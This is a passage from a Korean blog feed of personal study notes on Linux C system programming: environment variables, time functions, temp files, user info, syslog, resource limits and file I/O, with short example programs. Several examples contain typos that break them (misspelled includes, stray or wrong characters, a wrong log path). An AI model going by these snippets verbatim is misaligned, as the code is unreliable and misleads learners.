환경변수 넣기(반환값: -1 실패)(환경변수는 지역적인 변수임으로 다른 쉘에는 적용이 안됨)&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;char *getenv(const char *name);&lt;br /&gt;getenv =&gt; 환경변수 반환(반환값: Null 존재안함)&lt;br /&gt;int putenv(const char *string);&lt;br /&gt;&lt;br /&gt;getenv와 putenv 예: 218페이지 참조&lt;br /&gt;&lt;br /&gt;environ =&gt; 환경값을 문자배열로 사용&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;extern char **environ;&lt;br /&gt;&lt;br /&gt;environ 변수를 사용하여 환경 변수를 출력하는 프로그램 예:&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;extern char **environ;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; char **env = environ;&lt;br /&gt; &lt;br /&gt; while(*env)&lt;br /&gt; {&lt;br /&gt; printf("%s\n", *env);&lt;br /&gt; env++;&lt;br /&gt; }&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;time_t =&gt; 시간과 날짜 함수(long)&lt;br /&gt;#include &amp;lt time.h&gt;&lt;br /&gt;time_t time(time_t *tloc);&lt;br /&gt;&lt;br /&gt;time_t 예: 223페이지 참조&lt;br /&gt;&lt;br /&gt;difftime =&gt; 두개의 시간 값 사이의 차를 게산하고 부동 소수점 숫자로 반환&lt;br /&gt;#include &amp;lt time.h&gt;&lt;br /&gt;double difftime(time_t time1, time_t time2);&lt;br /&gt;&lt;br /&gt;gmtime =&gt; 저수준 시간 값을 좀더 평범한 필드를 포함하는 구조체로 분리&lt;br /&gt;#include &amp;lt time.h&gt;&lt;br /&gt;struct tm *gmtime(const time_t timeval);&lt;br /&gt;&lt;br /&gt;tm 구조체와 gmtime를 이용하여 현재 시간과 날짜를 출력 예: 225페이지 참조&lt;br /&gt;&lt;br /&gt;localtime =&gt; 지역 시간 보기&lt;br /&gt;#include &amp;lt time.h&gt;&lt;br /&gt;struct tm *localtime(const time_t *timeval);&lt;br /&gt;&lt;br /&gt;mktime =&gt; tm 구조체를 원시 time_t 값으로 변환(반환값: -1 실패)&lt;br /&gt;#include &amp;lt time.h&gt;&lt;br /&gt;time_t mktime(struct tm *timeptr);&lt;br /&gt;&lt;br /&gt;asctime =&gt; 사람에게 친숙한 시간과 날짜 구하기&lt;br /&gt;#include &amp;lt time.h&gt;&lt;br /&gt;char *asctime(const struct tm *timeptr);&lt;br /&gt;&lt;br /&gt;ctime =&gt; 원시 시간 값을 받아들여 좀더 읽기 쉬운 지역 시간으로 반환&lt;br /&gt;char *ctime(const time_t *timevarl);&lt;br /&gt;&lt;br /&gt;ctime 예:&lt;br /&gt;#inlcude &amp;lt time.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; time_t timeval;&lt;br /&gt; (void)time(&amp;timeval);&lt;br /&gt; printf("The date is:%s", ctime(%timeval));&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;결과는&lt;br /&gt;The date is: Sat Feb 8 09:21:17 2003&lt;br /&gt;&lt;br /&gt;strftime =&gt; 시간과 날짜 문자열의 형식으로 더욱 정확하게 제어할 때(반환값 포인터)&lt;br /&gt;#include &amp;lt time.h&gt;&lt;br /&gt;#define _XOPEN_SOURCE&lt;br /&gt;char *strptime(const char *buf , const char *format, struct tm *timeptr);&lt;br /&gt;strftime을 이용한 예(시간값 구하는 함수 중에는 가장 좋다): 230페이지 참조&lt;br /&gt;&lt;br /&gt;tmpnam =&gt; 임시 파일 만들기(문자열 *s가 널이아니면 파일 이름을 저장)&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;char *tmpnam(char *s);&lt;br /&gt;&lt;br /&gt;tmpfile =&gt; 임시 파일의 이름을 만듦과 동시에 열기(반환값: Null 에러)&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;FILE *tmpfile(void);&lt;br /&gt;&lt;br /&gt;tmpnam과 tmpfile의 예: 233페이지 참조&lt;br /&gt;&lt;br /&gt;mktemp =&gt; tmpnam와 유사하고 사용자가 임시 파일의 위치와 이름을 좀더 제어(유닉스 예전버전에서 지원)&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;char *mktemp(char *template);&lt;br /&gt;mkstemp =&gt; tmpfile와 유사하고 사용자가 임시 파일의 위치와 이름을 좀더 제어(유닉스 예전버전에서 지원)&lt;br /&gt;int mkstemp(char *template);&lt;br /&gt;&lt;br /&gt;getuid =&gt; 프로그램과 연관된 UID를 반환&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;uid_t getuid(void);&lt;br /&gt;&lt;br /&gt;getlogin =&gt; 현재 상요자와 연관된 로그인 이름을 반환&lt;br /&gt;char *getlogin(void);&lt;br /&gt;&lt;br /&gt;/etc/passwd의 구성은&lt;br /&gt;사용자 이름:암호화된 패스워드:사용자 식별자(UID):그룹 식별자(GID):전체 이름:홈 디레고리:기본 쉘&lt;br /&gt;예: root:x:0:0:root:/root:/bin/bash&lt;br /&gt;/etc/shadow =&gt; 암호화된 패스워드 파일&lt;br /&gt;&lt;br /&gt;getpwuid =&gt; 사용자 정보를 표현하는 passwd 구조체로 UID로 사용자 식별&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt pwd.h&gt;&lt;br /&gt;struct passwd *getpwuid(uid_t uid);&lt;br /&gt;getpwnam =&gt; 사용자 정보를 표현하는 passwd 구조체로로그인 이름으로 사용자 식별&lt;br /&gt;struct passwd *getpwnam(const char *name);&lt;br /&gt;&lt;br /&gt;사용자 정보 예: 236페이지 참조&lt;br /&gt;&lt;br /&gt;getpwent =&gt; 전체 각 사용자 정보 항목을 차례대로 반환(반환값: 아무것도 없다 Null)&lt;br /&gt;endpwent =&gt; getpwent 처리 종료&lt;br /&gt;setpwent =&gt; 패스워드 파일에서 위치를 처음으로 설정&lt;br /&gt;위 3개의 함수들은 디렉토리 스캔 함수인 opendir, readdir, closedir과 유사하게 작동함&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;uid_t geteuid(void);&lt;br /&gt;gid_t getgid(void);&lt;br /&gt;gid_t getegid)void);&lt;br /&gt;int setuid(uid_t uid);&lt;br /&gt;int setgid(gid_t gid);&lt;br /&gt;&lt;br /&gt;gethostname =&gt; 시스템의 네트워크 이름(호스트 정보)을 갖어 옴(반환값: 성공 0, 실패 -1)&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;int gethostname(char *name, size_t namelen);&lt;br /&gt;&lt;br /&gt;uname =&gt; 시스템 호출을 통해 호스트 컴퓨터의 좀더 세부적인 정보를 구함(운영체제, 호스트 이름, 시스템의 출시 수준, 시스템의 버전 번호, 하드웨어 형식)(반환값: 실패 -1)&lt;br /&gt;#include &amp;lt sys/utsname.h&gt;&lt;br /&gt;int uname(struct utsname *name);&lt;br /&gt;호스트 정보 예: 239페이지 참조&lt;br /&gt;&lt;br /&gt;기본 로그 디렉토리 =&gt; /usr/adm 또는 /var/log&lt;br /&gt;/var/log/messages =&gt; 모든 시스템 메시지 포함&lt;br /&gt;/var/log/mail =&gt; 메일 시스템 로그&lt;br /&gt;/var/log/debug =&gt; 디버그 메시지&lt;br /&gt;/etc/syslog.conf =&gt; 시스템 구성을 확인&lt;br /&gt;&lt;br /&gt;syslog =&gt; 로그 저장&lt;br /&gt;#include &amp;lt syslog.h&gt;&lt;br /&gt;void syslog(int priority, const char *message, arguments...);&lt;br /&gt;&lt;br /&gt;priority 멤버들&lt;br /&gt;LOG_EMERG : 긴급상황&lt;br /&gt;LOG_ALERT : 데이터베이스 손상과 같은 높은 순위&lt;br /&gt;LOG_CRIT : 하드웨어 고장과 같은 치명적인 에러&lt;br /&gt;LOG_ERR : 에러&lt;br /&gt;LOG_WARNING : 경고&lt;br /&gt;LOG_NOTICE : 주의가 필요한 특별한 조건&lt;br /&gt;LOG_INFO : 정보 메시지&lt;br /&gt;LOG_DEBUG : 디버그 메시지&lt;br /&gt;&lt;br /&gt;syslog 예:&lt;br /&gt;#include &amp;lt syslog.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; FILE *f;&lt;br /&gt; f=fopen("not_here","r");&lt;br /&gt; if(!f)&lt;br /&gt;  syslog(LOG_ERR|LOG_USER,"opps - %m\n");&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;결과&lt;br /&gt;/var/log/messages 마지막 줄에&lt;br /&gt;Feb 8 09:59:14 beast syslog: opps - No such file or directory&lt;br /&gt;&lt;br /&gt;openlog =&gt; 로그 메시지가 나타나는 방식을 변경&lt;br /&gt;#include &amp;lt syslog.h&gt;&lt;br /&gt;void openlog(const char *ident, int logopt, int facility);&lt;br /&gt;&lt;br /&gt;closelog =&gt; openlog를 닫아줌&lt;br /&gt;void closelog(void);&lt;br /&gt;&lt;br /&gt;setlogmask =&gt; 로그 마스크ㅡ를 설정하여 우선순위 수준을 제어&lt;br /&gt;int setlogmask(int maskpri);&lt;br /&gt;&lt;br /&gt;logmask 예:&lt;br /&gt;#include &amp;lt syslog.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; int logmask;&lt;br /&gt; openlog("logmask", LOG_PID|LOG_CONS, LOG_USER);&lt;br /&gt; syslog(LOG_INFO, "infomative message, pid=%d", getpid());&lt;br /&gt; syslog(LOG_DEBUG, "debug message, should appear");&lt;br /&gt; logmask = setlogmask(LOG_NOTICE)); &amp;lt = NOTICE 이하 우선순위는 무시&lt;br /&gt; syslog(LOG_DEBUG, "debug message, should not appear"); &amp;lt = 위 마스크 기능 때문에 표시가 안됨&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;/var/log/messages 끝에&lt;br /&gt;Feb 8 10:00:50 beast logmask[1833]: informative message, pid = 1833&lt;br /&gt;/var/log/debug 끝에&lt;br /&gt;Feb 8 10:00:50 beast logmask[1833]: debug message, should appear&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;혹시 /var/log/debug에 로그가 출력되지 않는다면 /etc/syslog.conf 밑에&lt;br /&gt;*.debug /ar/log/debug&lt;br /&gt;를 추가하자&lt;br /&gt;&lt;br /&gt;getpid =&gt; PID 반환&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;pid_t getpid(void);&lt;br /&gt;&lt;br /&gt;gettpid =&gt; 부모 PID 반환&lt;br /&gt;pid_t getppid(void);&lt;br /&gt;&lt;br /&gt;getpriority =&gt; 자신 또는 다른 응용프로그램 우선순위를 받아오기&lt;br /&gt;#include &amp;lt sys/resource.h&gt;&lt;br /&gt;int getpriority(int which, id_t who);&lt;br /&gt;&lt;br /&gt;setpriority =&gt; 자신 또는 다른 응용프로그램 우선순위를 설정하기&lt;br /&gt;int setpriority(int which, id_t who, int priority);&lt;br /&gt;&lt;br /&gt;getrlimit   =&gt; 시스템 리소스의 제한을 받아오기&lt;br /&gt;int getrlimit(int resource, struct rlimit *r_limit);&lt;br /&gt;&lt;br /&gt;setrlimit   =&gt; 시스템 리소스의 제한을 설정하기&lt;br /&gt;int setrlimt(int resource, const struct rlimit *r_limit);&lt;br /&gt;&lt;br /&gt;int getrusage =&gt; CPU 정보를 받아옴&lt;br /&gt;int getrusage(int who, struct rusage *r_usage);&lt;br /&gt;&lt;br /&gt;리소스 제한 예: 251페이지 참조&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-7745138808004112704?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/7745138808004112704/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/5day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7745138808004112704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7745138808004112704'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/5day-study.html' title='5Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-4000295124827536367</id><published>2009-03-02T20:52:00.001-08:00</published><updated>2009-03-02T20:52:59.420-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>4Day Study</title><content type='html'>4Day Study&lt;br /&gt;[[[[[파일(File) 작업]]]]]&lt;br /&gt;아이노드(inode) =&gt; 파일 시스템의 데이터의 특정 블록이며, 파일의 길이와 파일이 디스크의 어디에 저장되어 있는가를 포함(ls -i)&lt;br /&gt;디렉토리 =&gt; 아이노드 숫자와 파일의 이름을 저장하고 있는 파일이다. 각 디렉토리 항목은 파일의 아이노드에 대한 연결이다. 파일 이름을 삭제하면 연결이 삭제된다&lt;br /&gt;사용자 디렉토리 =&gt; 틸트(tilde) ~를 가지고 있음&lt;br /&gt;/bin =&gt; 시스템 바이너리 디렉토리&lt;br /&gt;/etc =&gt; 시스템 구성 파일 디렉토리&lt;br /&gt;/lib =&gt; 시스템 라이브러기 디렉토리&lt;br /&gt;/dev =&gt; 장치 인터페이스 파일 디렉토리&lt;br /&gt;&lt;br /&gt;CD-ROM 마운트&lt;br /&gt;# mount -t iso9660 /dev/hdc /mnt/cdrom&lt;br /&gt;# cd /mnt/cdrom&lt;br /&gt;&lt;br /&gt;/dev/console =&gt; 시스템 콘솔을 표현&lt;br /&gt;/dev/tty =&gt; 프로세스의 제어 터미널(키보드와 화면 혹은 윈도우)에 대한 별칭&lt;br /&gt;/dev/zero =&gt; 0을 포함하는 파일을 생성하기 위해 null 바이트의 원본처럼 작동&lt;br /&gt;/dev/null =&gt; 이 장치로 쓰여진 모든 출력은 버려짐&lt;br /&gt;&lt;br /&gt;빈파일 만들기&lt;br /&gt;cp /dev/null empty_file&lt;br /&gt;touch .empty_file =&gt; 기존 파일이 있을 경우 파일의 수정시간 만 바뀜&lt;br /&gt;&lt;br /&gt;장치 드라이버 액세스를 위한 저수준 함수인 시스템 호출(시스템 호출은 성능부하가 큼으로 한번에 큰 파일을 쓰기 위함)&lt;br /&gt;open  =&gt; 파일 혹은 장치 열기&lt;br /&gt;read  =&gt; 열린 파일 혹은 장치로 부터 읽기&lt;br /&gt;write =&gt; 파일이나 장치에 쓰기&lt;br /&gt;close =&gt; 파일이나 장치를 닫기&lt;br /&gt;ioctl =&gt; 제어 정보를 장치 드라이버에 전달(각 드라이버 마다 고유한 ioctl 명령 집합이 있음)&lt;br /&gt;&lt;br /&gt;리눅스 시스템&lt;br /&gt;사용자 프로그램(라이브러리) =&gt; 사용자 공간&lt;br /&gt;↓&lt;br /&gt;시스템 호출/커널(장치 드라이버) =&gt; 커널 공간&lt;br /&gt;↓&lt;br /&gt;하드웨어 장치&lt;br /&gt;&lt;br /&gt;write의 설명자&lt;br /&gt;0 =&gt; 표준 입력&lt;br /&gt;1 =&gt; 표준 출력&lt;br /&gt;2 =&gt; 표준 에러&lt;br /&gt;&lt;br /&gt;write 예시 =&gt; 반환값(0 데이터 안씀, -1 에러 발생, 1이상의 실제로 쓰여진 바이트 수)&lt;br /&gt;size_t write(int fildes, const void *buf, size_t nbytes);&lt;br /&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; if ((write(1, "Here is some data\n", 18)) != 18)&lt;br /&gt;   write(2, "A write error has occurred on file descriptor 1\n",46);&lt;br /&gt;   &lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;Here is some data&lt;br /&gt;&lt;br /&gt;read 예시 =&gt; 반환값(0 데이터 안읽기, -1 에러 발생, 1이상의 실제로 읽어진 바이트 수)&lt;br /&gt;size_t read(int fildes, const void *buf, size_t nbytes);&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; char buffer[128];&lt;br /&gt; int nread;&lt;br /&gt; &lt;br /&gt; nread = read(0, buffer, 128);&lt;br /&gt; if (nread == -1)&lt;br /&gt;  write(2, "A read error has occurred\n", 26);&lt;br /&gt;&lt;br /&gt; if ((write(1,buffer,nread__ != nread)&lt;br /&gt;  write(2, "A write error has occurred\n",27);&lt;br /&gt;  &lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;echo hello there | simple_read&lt;br /&gt;hello there&lt;br /&gt;&lt;br /&gt;open =&gt; 새로운 파일 설명자를 만들기 위해&lt;br /&gt;int open(const char *path, int oflags);&lt;br /&gt;int open(const char *path, int oflags, mode_t mode);&lt;br /&gt;&lt;br /&gt;mode 맴버는&lt;br /&gt;O_RDONLY =&gt; 읽기 전용&lt;br /&gt;O_WRONLY =&gt; 쓰기 전용&lt;br /&gt;O_RDWR   =&gt; 읽고 쓰기용&lt;br /&gt;&lt;br /&gt;oflags 맴버는&lt;br /&gt;O_APPEND =&gt; 파일 끝에 붙이기&lt;br /&gt;O_TRUNC  =&gt; 파일의 길이를 0으로 설정하여 기존 내용을 삭제함&lt;br /&gt;O_CREAT  =&gt; 필요하다면 파일을 생성&lt;br /&gt;O_EXCL   =&gt; O_CREAT와 함께 사용하며 파일이 만들었음을 확실 할 수 있음&lt;br /&gt;&lt;br /&gt;#include &lt;sys/types,h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;&lt;br /&gt;파일을 만들때(O_CREAT)는 플래그 필요 맴버는&lt;br /&gt;S_IRUSR : 읽기 권한, 소유자&lt;br /&gt;S_IWUSR : 쓰기 권한, 소유자&lt;br /&gt;S_IXUSR : 실행 권한, 소유자&lt;br /&gt;S_IRGRP : 읽기 권한, 그룹&lt;br /&gt;S_IWGRP : 쓰기 권한, 그룹&lt;br /&gt;S_IXGRP : 실행 권한, 그룹&lt;br /&gt;S_IROTH : 읽기 권한, 다른 사용자&lt;br /&gt;S_IWOTH : 쓰기 권한, 다른 사용자&lt;br /&gt;S_IXOTH : 실행 권한, 다른 사용자&lt;br /&gt;&lt;br /&gt;예: myfile 파일을 만들면서 소유자의 읽기 권한과 다른 사용자의 실행 권한을 부여&lt;br /&gt;open ("myfile", O_CREAT, S_IRUSR|S_IXOTH);&lt;br /&gt;&lt;br /&gt;umask =&gt; 파일을 만들 때 사용할 파일의 권한 마스크를 인코드 하는 시스템 변수&lt;br /&gt;close =&gt; 파일 간의 연결을 종료(반환값 : 0 성공, -1 실패)&lt;br /&gt;int close(int fildes);&lt;br /&gt;&lt;br /&gt;limits.h =&gt; 실행중에 한번에 열수 있는 파일의 개수 제한(OPEN_MAX)&lt;br /&gt;&lt;br /&gt;ioctl =&gt; 장치 제어&lt;br /&gt;int ioctl(int fildes, int cmd, ...);&lt;br /&gt;&lt;br /&gt;TIMEFORMAT="" time copy_system =&gt; 복사에 대해서 점유율 파악&lt;br /&gt;Command exited with non-zero status 127&lt;br /&gt;0.00user 0.00system 0:00.00elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k&lt;br /&gt;0inputs+0outputs (0major+49minor)pagefaults 0swaps&lt;br /&gt;&lt;br /&gt;저수준의 파일 복사하기 기능 예:&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; char block[1024];&lt;br /&gt; int in, out;&lt;br /&gt; int nread;&lt;br /&gt; &lt;br /&gt; in = open("file.in", O_RDONLY);&lt;br /&gt; out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);&lt;br /&gt; while((nread = read(in,block,sizeof(block))) &gt; 0)&lt;br /&gt;  write(out,block,nread);&lt;br /&gt;  &lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;lseek =&gt; 파일 설명자 filedes의 읽기/쓰기 포인터를 설정&lt;br /&gt;off_t lseek(int fildes, off_t offset, int whence);&lt;br /&gt;&lt;br /&gt;fstat =&gt; 열린 파일 설명자에 연결된 파일의 관한 상태 정보를 반환&lt;br /&gt;stat  =&gt; 명명된 파일의 상태 정보를 반환&lt;br /&gt;lstat =&gt; 명명된 파일의 상태 정보를 기호화된 링크로 반환&lt;br /&gt;int fstat(int fildes, struct stat *buf)&lt;br /&gt;int stat(const char *path, struct stat *buf);&lt;br /&gt;int lstat(const char *path, struct stat *buf);&lt;br /&gt;&lt;br /&gt;stat의 맴버는&lt;br /&gt;st_mode  =&gt; 파일 권한과 파일 형식 정보&lt;br /&gt;st_ino   =&gt; 파일과 관련된 inode&lt;br /&gt;st_dev   =&gt; 파일이 존재하는 장치&lt;br /&gt;st_uid   =&gt; 파일 소유자의 사용자 ID&lt;br /&gt;st_gid   =&gt; 파일 소유자의 그룹 ID&lt;br /&gt;st_atime =&gt; 마지막 액세스 시간&lt;br /&gt;st_ctime =&gt; 권한, 소유자, 그룹 혹은 내용이 마지막으로 변한 시간&lt;br /&gt;st_mtime =&gt; 내용이 마지막으로 변한 시간&lt;br /&gt;st_nlink =&gt; 파일에 대한 하드 링크의 갯수&lt;br /&gt;&lt;br /&gt;예: 파일이 디렉토리가 아니고 소유자에 대한 실행 권한을 가지고 있지만 다른 권한을 가지고 있지 않은지 테스트&lt;br /&gt;struct stat statbuf;&lt;br /&gt;mode_t modes;&lt;br /&gt;&lt;br /&gt;stat("filename",&amp;statbuf);&lt;br /&gt;modes = statbuf.st_mode;&lt;br /&gt;if(!S_ISDIR(modes &amp;&amp; (modes &amp; S_ISWXU) == S_IXUSR)&lt;br /&gt; ...&lt;br /&gt; &lt;br /&gt;dup, dup2 =&gt; 파일 설명자를 복제하는 방법&lt;br /&gt;int dup(int fildes);&lt;br /&gt;int dup2(int fildes, int fildes2);&lt;br /&gt;&lt;br /&gt;기본 라이브러리(stdio.h)를 이용한 파일 입출력&lt;br /&gt;fopen =&gt; 저수준 open 시스템 호출과 유사하나 저수준 시스템 호출은 입출력 버퍼링과 같은 잠재적 버그로 원하지 않는 부작용을 없애줌&lt;br /&gt;FILE *fopen(const char *filename, const char *mode);&lt;br /&gt;반환값(null 실패, FILE * 성공)&lt;br /&gt;r 또는 rb =&gt; 읽기 전용&lt;br /&gt;w 또는 wb =&gt; 쓰기, 내용을 모두 지움&lt;br /&gt;a 또는 ab =&gt; 쓰기, 내용을 추가&lt;br /&gt;r+ 또는rb+ 또는 r+b =&gt; 갱신(읽기와 쓰기)&lt;br /&gt;w 또는 wb+ 또는 w+b =&gt; 갱신, 내용을 모두 지움&lt;br /&gt;a+ 또는 ab+ 또는 a+b =&gt; 갱신, 내용을 추가&lt;br /&gt;b는 파일이 텍스트가 아니라 바이너리 파일임을 가르킴(유닉스와 리눅스는 텍스트 파일은 없음 모두 바이너리로 취급함)&lt;br /&gt;&lt;br /&gt;fread =&gt; 파일 스트림으로 부터 데이터를 읽기&lt;br /&gt;size_t fread(void *ptr, size_t size, size_t nitems, FILE *stream);&lt;br /&gt;&lt;br /&gt;fwrite =&gt; 지정된 데이터 버퍼에 있는 데이터 레코드를 출력 스트림으로 쓴다&lt;br /&gt;size_t fwrite (const void *ptr, size_t size, size_t nitems, FILE *stream);&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;구조화된 데이터를 사용하는 목적으로 fread와 fwrite를 권장하지 않는다. fwrite로 쓰여진 파일들이 다른 컴퓨터에서 잠재적으로 이식되지 않을 수도 있어서 문제의 소지가 있다&lt;br /&gt;&lt;br /&gt;fclose =&gt; 지정된 stream을 닫으며 쓰여지지 않은 모든 데이터를 쓴다&lt;br /&gt;int fclose(FILE *stream);&lt;br /&gt;stream의 제한은 stdio.h에 FOPEN_MAX로 정의되어있고 최소 8이다&lt;br /&gt;&lt;br /&gt;fflush =&gt; 파일 스트림의 모든 데이터가 즉시 쓰여짐&lt;br /&gt;int fflush(FILE *stream);&lt;br /&gt;fclose전에 fflush는 자동으로 호출됨으로 fclose 전에 호출할 필요가 없다&lt;br /&gt;&lt;br /&gt;fseek =&gt; 저수준의 lseek에 해당하는 stream 함수이나 lseek는 off_t를 반환하고 &lt;br /&gt;int fseek(FILE *stream, long int offset, int whence);&lt;br /&gt;fseek는 정수를 반환한다(반환값 -1 실패, 0 성공)&lt;br /&gt;&lt;br /&gt;fgetc =&gt; 파일 스트림으로부터 다음 바이트를 문자로 반환(반환값 EOF 파일 끝, EOF 에러)&lt;br /&gt;int fgetc(FILE *stream);&lt;br /&gt;fgetc의 반환값이 EOF가 2가지가 존재함으로 ferror 혹은 feof를 사용 해야함&lt;br /&gt;&lt;br /&gt;getc =&gt; 매크로로 구현된 fgetc임(지역 변수가 아니거나 함수의 매개변수로 전달되지 &lt;br /&gt;앟은 변수에 영향을 끼치지 못하고 getc의 주소를 함수 포인터로 사용할 수 없다)&lt;br /&gt;int getc(FILE *stream);&lt;br /&gt;&lt;br /&gt;getchar =&gt; getc(stdin)과 동일하며 표준 입력으로부터 다음 문자를 읽는다&lt;br /&gt;int getchar();&lt;br /&gt;&lt;br /&gt;fputc =&gt; 문자를 출력 스트림에 쓴다(반환값 : 쓴값 성공, EOF 실패)&lt;br /&gt;int fputc(int c, FILE *stream);&lt;br /&gt;putc =&gt; getc의 경우와 같음&lt;br /&gt;int putc(int c, FILE *stream);&lt;br /&gt;putchar =&gt; putc(cm, stdout)와 동일하며, 하나의 문자를 표준 출력으로 쓴다(문자를 char가 아닌 int로 취하고 반환함)(반환값: -1 문자끝)&lt;br /&gt;int putchar(int c);&lt;br /&gt;&lt;br /&gt;fgets =&gt; stream으로부터 문자열을 읽는다(최대 n-1 문자까지 한번에 전송가능)(반환값: 문자열 s에 대한 포인터를 반환)(반환값: EOF 파일끝, NULL 읽기에러)&lt;br /&gt;char *fgets(char *s, int n, FILE *stream);&lt;br /&gt;gets =&gt; fgets와 동일하며 표준 입력으로부터 읽고 줄 바꿈 문자를 없앤다는 차이가 있다&lt;br /&gt;char *gets(char *s)&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;gets는 전송할 수 있는 문자의 개수에 제한을 두지 않기 때문에 버퍼오버플로우 공격에 취약함으로 fgets로 쓰길 권장함&lt;br /&gt;&lt;br /&gt;printf =&gt; 다른 형식을 가진 인자들을 형식화해서 출력&lt;br /&gt;int printf(const char *format, ...);&lt;br /&gt;예:&lt;br /&gt;printf("Some numbers: %d, %d, and %d\n", 1, 2, 3);&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;Some numbers: 1, 2, and 3&lt;br /&gt;&lt;br /&gt;fprintf =&gt; 자신의 출력을 지정된 stream에 작성&lt;br /&gt;int fprintf(FILE *stream, const char *format, ...);&lt;br /&gt;sprintf =&gt; 자신의 출력과 종료 널 문자를 매개변수로 전달된 문자열 s에 쓴다&lt;br /&gt;int sprintf(char *s, const char *format, ...);&lt;br /&gt;&lt;br /&gt;%d, %i =&gt; 정수를 십진 형태로 출력&lt;br /&gt;%o, %x =&gt; 8진, 16진으로 출력&lt;br /&gt;%c =&gt; 문자를 출력&lt;br /&gt;%s =&gt; 문자열을 출력&lt;br /&gt;%f =&gt; 부동 소수점 단위로 출력&lt;br /&gt;%e =&gt; 배정밀도(double) 숫자를 고정된 형식으로 출력&lt;br /&gt;%g =&gt; 배정밀도 숫자를 일반적인 형식으로 출력&lt;br /&gt;&lt;br /&gt;예:&lt;br /&gt;char initial = 'A';&lt;br /&gt;char *surname "Matthew";&lt;br /&gt;double age = 14.5;&lt;br /&gt;printf("Hello Miss %c %s, aged %g\n", initial, surname, age);&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;Hello Miss A Matthew, aged 14.5&lt;br /&gt;&lt;br /&gt;예: 181페이지 참조&lt;br /&gt;%10s의 인자값이 Hello일때 결과는 |      Hello|&lt;br /&gt;&lt;br /&gt;scanf =&gt; 스트림으로부터 항목을 읽고 변수에 값을 저장(반환값: 0 실패, EOF 항목이 일치하기 전에 끝에 도달하면, 읽어들인 변수의 갯수 성공)&lt;br /&gt;int scanf(const char *format, ...);&lt;br /&gt;예:&lt;br /&gt;int num;&lt;br /&gt;scanf("Hello %d", &amp;num);&lt;br /&gt;&lt;br /&gt;실행방법(밑에 2개 모두 num에 1234가 들어감, Hello와 일치할 경우 %d에 따라 숫자가 오면 들어감)&lt;br /&gt;Hello 1234&lt;br /&gt;Hello1234&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;정수를 입력받기 위해 스캔하면서 입력에 숫자가 아닌 문자가 들어온다면 무한 